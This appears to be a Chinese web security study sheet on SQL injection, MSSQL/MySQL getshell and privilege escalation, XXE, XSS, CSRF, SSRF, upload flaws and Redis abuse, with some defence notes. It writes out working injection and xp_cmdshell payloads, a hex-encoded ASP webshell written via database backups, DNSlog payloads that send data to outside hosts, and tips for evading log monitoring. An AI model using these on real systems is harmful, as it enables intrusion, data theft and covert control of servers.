Appearance
SQL 注入
原理和分类
SQL注入原理
- 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的数据拼接到 SQL 语句中,被当作 SQL 语句的一部分执行。
SQL注入分类
- 按注入位置:数字型、字符型
- 按提交方式:POST 型、GET 型、Cookie 型、HTTP 头
- 按注入方式:联合查询注入、报错型注入、布尔型注入、延时注入、堆叠注入
SQL注入危害
- 注入漏洞不仅能查看用户名和密码,还能脱库、上传webshell、执行命令
特别方式及其原理
SQL注入万能密码原理
- 用户进行用户名和密码登陆时,与数据库交互
- 由于网站在查询时没有对单引号进行过滤,当输入用户名【admin】和万能密码【2‘or’1‘】时,执行的SQL语句为【Select user_id,user_type,email From users Where user_id='admin' And password='2'or'1'】,逻辑运算优先级导致SQL语句被解析为【Select user_id,user_type,email From users Where user_id='admin' And password='2'】和【’1‘】,这两句布尔值逻辑or运算恒为true,自然登陆成功
宽字节注入的手法及意义
- 手法:利用宽字节编码(如 GBK、UTF-16)的特性,通过注入特殊字符组合绕过过滤器。
- 意义:引号绕过,扩大注入范围。
二次注入原理
- 输入恶意的数据库查询语句时被转义,但在数据库调用读取语句时又被还原导致语句执行
笛卡尔注入原理
- 对一张表作自身的笛卡尔积让查询时间变长达到和sleep一样的效果,系统返回结果的时间差异可判断注入语句是否执行成功
sql 注入 sleep()函数被过滤解决方法
- 使用ascii、substr、strcmp、benchmark()等函数重复执行某项指令,达到类似sleep的效果
时间盲注
- 适用于页面不返回错误信息,只会回显一种界面,利用sleep函数制造时间延迟,由回显时间判断是否报错
时间盲注操作
- 判断闭合符号
sql
if(1=1,1,sleep(1))即输出true if(1=2,1,sleep(1))即延迟一秒后回显
- 判断库名长度
sql
?id=1' and if(length(database())>8,sleep(2),0) --+
- 判断库名
sql
`?id=1' and if(ascii(substr(database(),1,1))=115,sleep(2),0) --+`
此为判断第一个字母的ascii码是否为115
判断第二个字母为e 以此类推,数据库名为security
判断表名
sql
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=e,sleep(1),0)–+
其中x代表第x+1个表,y表示第x+1往后y个单位的表,z表示第几个字母,d表示z往后d个单位的字母
- 判断列名
sql
?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(2),1)–+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位
- 爆数据
sql
?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(2),1)--+
WAF对抗
基本绕过方式
- 内联注释、编码、%0a %23换行注释绕过
- 字符转义利用宽字节,hex编码绕过
- 利用防注入拿shell:在url提交一句话木马,防注入系统记录一句话木马到日志中(尝试查找日志文件,连接菜刀)
空格绕过
- 用注释替换空格
- 空格url编码%20
- 两个空格代替一个空格
- 用Tab代替空格-%a0=空格
- 如果空格被过滤,括号没有被过滤,可以用括号绕过-select(user())from dual where(1=1)and(2=2)
- 回车-%23
引号绕过
- 宽字节注入
逗号绕过
- 使用join or and xor not绕过
- 利用符号替换and = && or=|| xor=| not=!
- 在敏感词中添加注释:an/__/d
- 双写绕过oorr
- 大小写变形
- 编码
注释符绕过
- 核心在于闭合,本来有注释符不用闭合,现在没有了所以要闭合
等于号绕过
- 使用like
- 使用!<>,因为<>是不等于
修复及其原理
修复手段
- 使用 PDO 预编译
- 正则表达式过滤
- 开启魔术引号
- 加 WAF
- 使用安全的api
- 控制客户端输入,不允许使用sql相关的字符
预编译原理
预编译将一次查询通过两次交互完成:预编译将 SQL 语句中的值用占位符 ? 替代,即将 SQL 语句模板化或参数化。SQL 语句先交由数据库预处理,构建语法树,再传入真正的字段值进行执行。
预编译后代入参数
- 系统接收到的参数是1,不是1 or 1 = 1。
预编译绕过
字符串拼接:如果在SQL预编译语句中使用了字符串拼接,攻击者可以通过构造特定的字符串来绕过预编译过程。
动态拼接SQL语句:如果动态地拼接SQL语句,例如使用字符串拼接、字符串格式化等方式,攻击者同样可以利用字符串的特性来绕过预编译过程。
SQL语句中使用函数或存储过程:如果在SQL语句中使用了函数或存储过程,攻击者可以构造恶意的输入,使其执行预期之外的操作,绕过预编译过程。
错误处理不当:如果SQL预编译过程中的错误处理不当,例如忽略异常或者异常处理不当,攻击者可能会通过特定的输入来触发错误,绕过预编译过程。
sqlmap使用
Sqlmap的tamper
- apostrophemask.py:将引号替换为UTF-8,用于过滤单引号
- base64encode.py:替换为base64编码
- multiplespaces.py:围绕SQL关键字添加多个空格
- space2plus.py:用+号替换为空格
- charencode.py:对给定的Payload全部字符使用URL编码(不处理已编码的字符)
- charunicodeencode.py:字符串unicode编码
- space2comment.py:将空格替换为/__/
- equaltolike.py:将等号替换为like
sqlmap --os-shell 原理
- 对于 mysql 数据库,--os-shell的本质是写入两个shell文件,其中一个用于执行命令,另一个用于上传文件。
sqlmap --os-shell条件
- 知道网站绝对路径,可以通过报错、phpinfo界面、404界面等方式知道 爆出当前数据库绝对路径
sql
select @@datadir;
gpc未开启,否则单引号被转义,语句无法正常执行
需要file权限,默认情况下只有root有
Secure_file_priv 参数为空或为指定路径(用于查询) 查看secure_file_priv是否为空,若为空则任意位置都能写
sql
show global variables like "%secure%";
数据库
MySQL
MySQL 5.0 和 5.7 的区别
MySQL 5.7
- 安全性提升:增加了默认安全选项和更强的密码验证机制。
- 性能优化:在查询优化器和执行计划方面进行了多项改进。
- 新特性:支持 JSON 数据类型和虚拟列等新特性.
- 多用户 多操作
MySQL 5.0
- 没有information_schema表,只能使用暴力方法跑出表名,多用户 单操作
MySQL 爆破
扫描3306,root默认密码爆破(检查是否有空密码登陆),或者对user表中的hex值进行爆破
mysql注入点,写入一句话,条件?
- 需要root权限
- 需要绝对路径
- 能使用load_file
- web目录写权限
- 能使用into outfile写入文件
MySQL getshell
- outfile和dumpfile的区别
outfile:
1、 支持多行数据同时导出
2、 使用union联合查询时,要保证两侧查询的列数相同
3、 会在换行符制表符后面追加反斜杠
4、会在末尾追加换行dumpfile:
1、 每次只能导出一行数据
2、 不会在换行符制表符后面追加反斜杠
3、 不会在末尾追加换行
因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;
当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)
当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数
mysql 写 shell,不知道网站绝对路径解决方法
- 通过以下方式获得网站绝对路径:
1.web报错信息:可以通过各种fuzz不存在的目录尝试让目标报错,有可能爆出绝对路径
2.通过phpinfo()获取路径:在phpinfo页面直接搜索:DOCUMENT_ROOT
3.通过目录文件信息泄露获取:扫到目录时候每个都尝试访问一下,说不定会有意想不到的收获
4.如果目标站点是利用phpstudy、Xampp、LAMPP等之类搭建的,可以通过查看数据库路径
sql
show variables like '%datadir%';
或者
select @@basedir;
获取到数据库路径后再结合中间件目录结构猜测web目录
MySQL提权
UDF提权
MySQL拓展接口
提权原理:
UDF的使用需要调用其动态链接库文件(.dll或.so),使用UDF提权原理大概就是通过引入恶意的udf.dll
,引入自定义函数(如sys_eval()函数),执行系统命令。
利用条件:
- 掌握MySQL数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
- 当前用户拥有可以将udf.dll写入相应目录的权限。
- 如果MySQL版本小于5.1且为Windows系统,则udf.dll文件存放在 C:\windows 或者 C:\windows\system32 目录下。
- 如果MySQL版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib/plugin文件夹下,该plugin目录默认不存在需要创建。
启动项提权
手动利用
所谓MySQL的启动项提权,就是将自定义的脚本写入到开机自启目录下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令。这种提权也常见于 Windows 环境下,写入的脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 metasploit 或 cobalt strike。
MSF
metasploit中也集成了相应的模块:exploit/windows/mysql/mysql_start_up
phpMyAdmin
phpmyadmin getshell的权限
- root权限
- 网站的绝对路径
- secure_file_priv设置为空
【secure_file_priv参数:
NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录】
phpMyAdmin 如何 getshell
- 慢查询写webshell
- into outfile或是创建表写入
- 利用日志写shell
[SQL Server]
一、sql server版本说明
05以下系统权限为system
08以上系统权限就不是system了,看到好几种,比较多的是network service
二、Sql Server危险的存储过程
这里使用sqlmap --os-shell命令也行xp_cmdshell
是 Microsoft SQL Server 中的一个扩展存储过程,允许执行操作系统的命令。
1、开启xp_cmdshell存储过程
sql
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; exec SP_CONFIGURE 'xp_cmdshell', 1; RECONFIGURE;
2、xp_cmdshell执行系统命令
bash
exec xp_cmdshell "whoami";v
三、Sql Server Com组件
SQL Server中的COM组件SP_OACREATE,执行系统命令,但是此利用方法无回显。
1、SP_OACREATE
查看SP_OACRAEATE状态
利用count(*)判断是否存在,存在即返回1
csharp
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
2、启用SP_OACREATE
sql
利用sp_configure存储过程,启用SP_OACREATE
exec sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE;
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
3、利用SP_OACREATE执行系统命令
sql
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c whoami /all >C:\\test\test.txt'
四、通过差异备份写入一句话木马
1、判断站库分离
csharp
用1=(select is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。
2、寻找绝对路径
a、404报错页面
404报错页面查看绝对路径
b、配置文件
avrasm
通过type读取配置文件
C:\Windows\system32\inetsrv\metabase.xml #iis6
C:\Windows\System32\inetsrv\config\applicationHost.config #iis7
c、cmd命令搜索文件
css
for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)
d、找旁站路径
undefined
旁站有没有地方可以爆出绝对路径,写入旁站
e、xp_dirtree
bash
xp_dirtree 'c:\', 1, 1 #列出当前目录下所有的文件和文件夹
3、执行如下代码
sql
backup database 当前数据库名 to disk = 'c:\ddd.bak';--
create table cmd (a image);
insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);--
[code]0x3C25657865637574652872657175657374282261222929253E [code]就是一句话木马的内容:<%execute(request("a"))%>
backup database 当前数据库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
五、log备份写入shell#
sql
alter database testdb set RECOVERY FULL
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image)
backup log testdb to disk = 'c:\aaa.bak' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'
SQLServer 如何 getshell
- 通过
xp_cmdshell
执行系统命令,上传并执行恶意脚本。 - COM opcreate 组件,判断是否存在,存在返回为1,随后执行系统命令
- 差异备份写入webshell
- log日志写入webshell
提权与getshell
xp_cmdshell被关闭解决方法
SQL Server xp_cmdshell
遭遇各种情况后的处理方法
1. xp_cmdshell
被禁用
当 xp_cmdshell
被禁用时,可以通过以下几种方法尝试绕过禁用限制:
方法一:启用 xp_cmdshell
如果具备足够的权限,可以启用 xp_cmdshell
:
sql
-- 启用高级选项 EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- 启用 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
方法二:使用 SQL CLR 存储过程
如果 xp_cmdshell
无法启用,可以使用 SQL CLR(Common Language Runtime)创建自定义存储过程来执行系统命令。需要管理员权限来创建和部署 CLR 存储过程。
步骤:
- 启用 CLR 支持:
sql
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
创建 CLR 存储过程: 编写一个 C# 程序来执行命令,然后将其部署到 SQL Server 中。
示例 C# 代码:
csharp
using System; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Diagnostics; public class StoredProcedures { [SqlProcedure] public static void RunCommand(SqlString command) { ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/C " + command.Value); psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process process = Process.Start(psi); process.WaitForExit(); } }
部署 CLR 存储过程: 使用 Visual Studio 或手动创建程序集并部署到 SQL Server。
SQL 部署命令:
sql
CREATE ASSEMBLY RunCommandAssembly FROM 'C:\\Path\\To\\Your\\Assembly.dll' WITH PERMISSION_SET = EXTERNAL_ACCESS; CREATE PROCEDURE RunCommand @command NVARCHAR(MAX) AS EXTERNAL NAME RunCommandAssembly.StoredProcedures.RunCommand;
方法三:使用 OPENROWSET 或 OPENQUERY
可以通过启用 Ad Hoc Distributed Queries
来使用 OPENROWSET
或 OPENQUERY
执行系统命令。
启用 Ad Hoc Distributed Queries:
sql
`EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;`
使用 OPENROWSET 执行命令:
sql
`SELECT * FROM OPENROWSET('SQLNCLI', 'Server=localhost;Trusted_Connection=yes;', 'SET NOCOUNT ON; EXEC xp_cmdshell ''dir C:\\''');
2. xp_cmdshell
被限制使用
当 xp_cmdshell
被限制使用时,可以尝试以下处理方法:
方法一:提升权限
如果当前用户权限不足,可以尝试通过 SQL 注入等手段提升权限,获取更高权限的用户访问。
方法二:使用其他系统扩展存储过程
如果有其他可用的扩展存储过程(如 xp_fileexist
、xp_dirtree
、xp_regread
等),可以利用这些存储过程获取系统信息或进行文件操作。
方法三:利用数据库联结
如果目标数据库与其他数据库有联结关系,可以通过联结数据库执行命令。例如,使用 sp_addlinkedserver
创建链接服务器,然后通过链接服务器执行命令。
示例:
sql
EXEC sp_addlinkedserver 'remoteServer', 'SQL Server'; EXEC sp_addlinkedsrvlogin 'remoteServer', 'false', NULL, 'username', 'password'; EXEC ('xp_cmdshell ''dir C:\\''') AT remoteServer;
3. xp_cmdshell
被日志监控
为了避免被日志监控检测到,可以使用其他方法进行命令执行,例如:
方法一:隐藏命令输出
通过将命令输出重定向到文件或管道,避免输出被记录在日志中:
sql
EXEC xp_cmdshell 'dir C:\\ > NUL';
方法二:使用批处理脚本
将复杂命令写入批处理脚本,然后执行该脚本:
sql
EXEC xp_cmdshell 'echo dir C:\\ > C:\\script.bat'; EXEC xp_cmdshell 'C:\\script.bat';
UDF提权
- 利用自定义函数(UDF)进行提权,通过编写恶意函数并在数据库中注册执行。
数据库提权思路
- MySQL:利用UDF提权,通过写shell、root权限下执行命令等方式。
- Access:利用系统命令执行漏洞,通过宏或其他方式运行恶意代码。
- MSSQL:利用xp_cmdshell提权,或通过CLR(Common Language Runtime)编写并执行恶意代码。
特别问题
Sql 注入无回显情况下利用 DNSlog
- 没有回显时,一般编写脚本进行自动化注入。由于防火墙存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
- 使用 DNSlog 注入,将服务器返回的结果放在域名中,然后读取 DNS 解析时的日志,获取信息。
Mysql中利用 DNSlog 构造payload
sql
' and if((select load_file(concat('\\\\\\\\',(select database()),'.\\\\abc'))),1,0)# xxx.ceye.io
Mssql中利用 DNSlog 构造payload
sql
`DECLARE @host varchar(1024); SELECT @host=(SELECT db_name())+'. '; EXEC('master..xp_dirtree"\\\\'+@host+'\\\\foobar{html}quot;');
RCE
- 发现RCE漏洞后
- 查看权限、目录、用户类型,考虑写入一句话木马,并开一个服务器上传exp进行提权
- 常用函数
- PHP: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen()
- JAVA: java.lang.Runtime.getRuntime().exec(command)
- Python: system(), popen(), subprocess.call(), spawn
XXE
漏洞原理
- XML 解析器在解析 XML 输入时处理外部实体,可能导致文件泄露或服务器端请求伪造(SSRF)。
- 改包让目标读取本地文件(如config.php),请求恶意XML,通过恶意XML请求记录数据的跳板,跳板携带数据到记录点,完成获取数据操作
XXE 盲注
- 利用外部实体加载远程资源,通过时间差或其他回显方式判断结果。
XXE 可以用来做什么
- 读取服务器文件
- 发起内网请求,无回显读取本地文件、内网主机、端口探测
- DoS 攻击
- 读取php文件,执行命令
XXE 任意文件读取深度利用
- 利用文件读取获取敏感信息,如配置文件、密钥等,进一步扩大攻击面。
XXE getshell 前提条件
- 目标服务器可执行文件或命令,并允许写入操作。
XXE、SSRF 能做什么
- 读取敏感文件,发起内网请求,反弹 shell 等。
防范
- 配置xml处理器使用禁用DTD、禁止外部实体解析,使用开发语言提供的禁用外部实体的方法,通过黑名单过滤用户提交的xml数据,不允许xml中含有任何自己声明的DTD。
XSS
防御手段
- 输入数据进行 HTML encode 处理
- 白名单过滤
- 过滤 JavaScript 事件标签
- 开启 HTTP-only
- 装 WAF
了解程度(初)
种类与区别
- 存储型:恶意代码被存储在数据库中,每次访问都会触发。
- 反射型:恶意链接被用户点击后触发。
- DOM 型:纯前端攻击,恶意代码输出在 DOM 节点中。
XSS httponly 绕过
- 大小写转换;
- 引号的使用;
- 使用 / 代替空格;
- 编码绕过(将字符进行十进制或十六进制转码);
- 双写绕过;
- 使用制表符、换行符和回车符
- 使用 IMG 源
存储型 XSS 配合 CSRF
修复建议
- 对输入数据进行 HTML encode 处理
- 白名单过滤
- 过滤 JavaScript 事件的标签
- 设置 Cookie 的 HttpOnly 属性
- 装 WAF
- 使用W3C提出的CSP (Content Security Policy,内容安全策略),定义域名白名单
CSRF
- 原理
- CSRF利用用户当前的会话,在未授权情况下执行用户非本意的操作。
- 验证referer防御csrf原理
- 同源策略,检查referer字段,拒绝非本站的请求,注意referer为空的情况和部分匹配情况。
利用方式
- Get请求:在黑客网站中通过img的src属性自动发起请求
- Post请求:在黑客网站中构造隐藏表单自动发起Post请求
- 诱惑用户点击恶意链接,利用a标签的href
防范
- 同源策略,检查referer字段,拒绝非本站的请求
- 检查token校验码,服务器生成的伪随机数发给用户,后台拒绝错误请求
- 设置关键Cookie的SameSite属性为Strict或Lax
- 加入二次验证(独立的支付密码)
XSS,CSRF和SSRF区别
- XSS:跨站脚本攻击,服务器对用户输入的数据没有足够过滤,客户端浏览器渲染时出现未预期脚本语句被执行。
- CSRF:跨站请求伪造,服务器端未对用户提交的数据进行随机值校验,对http请求包内的refer字段校验不严,导致攻击者利用用户的Cookie信息伪造请求发送至服务器。
- SSRF:服务器请求伪造,服务器对用户提供的可控URL过于信任,未进行地址限制和足够检测,攻击者以此为跳板攻击内网或其他服务器。
SSRF
SSRF原理
- 服务器加载外部资源未对目的地址做过滤,存在ssrf漏洞。常用协议有gopher、dist、file、http、https。
初步探测
- 通过file协议读取本机文件,探测本机的网段。
- Dist协议探测端口
SSRF 拿 shell
- 利用 SSRF 请求目标服务器的管理接口或服务,执行恶意命令。
XXE、SSRF 能做什么
- 读取敏感文件,发起内网请求,反弹 shell 等。
SSRF 利用
- 内网扫描,获取敏感信息,攻击内网服务。
SSRF 绕 WAF
- 利用变种 URL 编码,拆分请求等方法绕过 WAF 检测。
SSRF场景与产生
- 分享:通过URL地址分享网页内容
- 转码服务
- 在线翻译
- 图片加载与下载:通过URL地址加载或下载图片、文章收藏功能
- 未公开的api实现以及其他调用URL的功能
SSRF修复
- 限制资源的地址、禁用不必要的协议
SSRF绕过
- 禁用 127.0.0.1 后的绕过方式:
- 利用进制转换、DNS解析、句号(127。0。0。1)、[::](http://[::]:80/)、@(http://[email protected])、短地址(http://dwz.cn/11SMa)、协议(Dict://、SFTP://、TFTP://、LDAP://、Gopher://)
文件上传
流量特征
文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype为`multipart/from-data`才能正常上传文件。
•请求Header中Content-Type存在以下特征:multipart/form-data
:表示该请求是一个文件上传请求
•存在boundary
字符串:作用为分隔符,以区分POST数据
•POST的内容存在以下特征:Content-Disposition
:响应标头是指示内容是否预期在浏览器中内联显示的标题。name
:包含该字段的内容引用的 HTML 字段的名称。filename
:后面是一个包含传输文件的原始名称的字符串。、
•POST中的boundary
的值就是Content-Type
的值在最前面加了两个--
,除了最后标识结束的boundary
•最后标识结束的boundary
最后默认会多出两个--
(测试时,最后一行的boundary删掉也能成功上传)
文件上传在数据包中可修改的地方
•Content-Disposition:一般可更改
•name:表单参数值,不能更改
•filename:文件名,可以更改
•Content-Type:文件 MIME,视情况更改
•boundary:内容划分,可以更改
黑白名单
- 黑名单:禁止上传特定类型文件,例如
.exe
、.bat
等危险文件。 - 白名单:只允许上传特定类型文件,例如
.jpg
、.png
等安全文件。
- 黑名单:禁止上传特定类型文件,例如
文件上传成功后,tmp 目录没有执行权限怎么办?
- 解决方法包括利用包含漏洞执行文件,或者寻找其他具有执行权限的路径进行文件操作。
文件上传绕过 WAF,如何bypass
- 通过变种文件名、文件内容绕过 WAF 检测,例如在文件名中添加空格、特殊字符,或使用不同的编码方式。
上传 webshell 的方法
- 如果服务器只允许上传 jpg 格式文件,可以尝试通过中间件解析漏洞或文件包含漏洞进行绕过和利用。
命令执行
- 无回显流量处理
- 利用盲注技巧确认命令执行结果,通过时间差、网络请求等方法判断命令是否成功执行。
PHP
PHP 反序列化
- 概念:序列化是将一个对象转换成字符串,反序列化则是将字符串重新转换为对象。
- 分类:
- 无类反序列化:利用相对简单,如果源码直接反序列化输入值,只需提前序列化数据再传入。
- 有类反序列化:需要利用魔术方法,如 __construct(),在对象创建时触发执行代码。
PHP 代码执行的危险函数与命令执行函数
- 危险函数:
call_user_func()
、call_user_func_array()
、create_function()
、array_map()
- 命令执行函数:
system()
、shell_exec()
、passthru()
、exec()
、popen()
、proc_open()
、putenv()
- 危险函数:
Redis
Redis 未授权漏洞利用
- 在 Windows 服务器下,写 shell
- 当 Redis 以 root 身份运行时,给 root 账户写入 SSH 公钥文件,直接通过 SSH 登录目标服务器。
- 利用 Redis 写入计划任务反弹 shell。
- 主从复制 getshell。
- 在 Windows 服务器下,写 shell
Redis 主从复制的原理
- 允许一个 Redis 服务器复制另一个服务器的数据,通过
SLAVEOF
命令或配置文件指定主服务器,保证数据高可用性和读扩展性。
- 允许一个 Redis 服务器复制另一个服务器的数据,通过
Redis 利用条件
- 使用 root 权限启动 Redis,具有目录写权限。
- 空密码且允许外部直接连接。
- 未修改默认端口,且暴露在公网,知道网站绝对路径。
SSRF 探测内网 Redis
- Redis 默认绑定本地(不允许远程访问),默认不开启认证,默认端口为 6379。如果未开启认证,可以通过 SSRF 漏洞攻击内网中的未授权 Redis 并读取数据。使用
dict://127.0.0.1:6379
返回信息,说明存在 Redis 数据库。
- Redis 默认绑定本地(不允许远程访问),默认不开启认证,默认端口为 6379。如果未开启认证,可以通过 SSRF 漏洞攻击内网中的未授权 Redis 并读取数据。使用
逻辑漏洞
支付漏洞成因
- 逻辑漏洞的成因是程序设计不严谨或过于复杂,导致逻辑分支处理错误或未处理。
越权漏洞
- Redis 越权访问
- Tomcat 越权访问
- JBoss 越权访问
常见逻辑漏洞及登录框的思路
- 常见逻辑漏洞:
- 越权、响应包修改、支付金额修改、cookie 爆破、密码找回漏洞等。
- 登录页面思路:
- 爆破、session 覆盖、SQL 注入、XSS、任意用户注册、查看 JS 文件中的敏感信息、短信轰炸、万能密码、二次注入、模板注入等。
- 常见逻辑漏洞:
逻辑漏洞的原理与修复
- 原理:程序逻辑不严或逻辑复杂,导致逻辑分支处理错误或未处理。
- 业务逻辑漏洞:
- 支付漏洞:价格修改、支付状态修改、数量最大值溢出、订单替换、支付接口替换、四舍五入、越权支付。
- 登录漏洞:状态信息修改、密码修改跳过验证。
- 密码找回漏洞:暴力破解、通用找回凭证、跳过验证步骤、拦包获取找回凭证。
- 身份认证漏洞:会话固定攻击、Cookie 仿冒,伪造用户身份。
- 验证码漏洞:验证码暴力破解、通过 JavaScript 或改包绕过。
类逻辑知识
XFF (X-Forwarded-For)
- 用于识别客户端的原始 IP 地址,通常在使用代理或负载均衡器时使用。
欺骗原理
- 通过伪造信息、篡改数据等方式误导系统或用户,以达到攻击目的。
指纹识别
- 通过识别系统或应用的特征信息,判断其版本或类型,以便进行针对性攻击。
Web 容器
- 用于运行 Web 应用程序的环境,常见的有 Tomcat、Jetty、JBoss 等,负责处理 HTTP 请求和响应。
HTTP 协议
- 请求方式:GET、POST、PUT、DELETE 等。
- 状态码:200(成功)、404(未找到)、500(服务器错误)等。
命令执行的原理
- 利用系统命令执行漏洞,通过注入恶意命令,实现对目标系统的控制。
请求头的意义
- 包含客户端发送给服务器的请求信息,如
User-Agent
、Accept
、Host
等,决定请求的内容和方式。
- 包含客户端发送给服务器的请求信息,如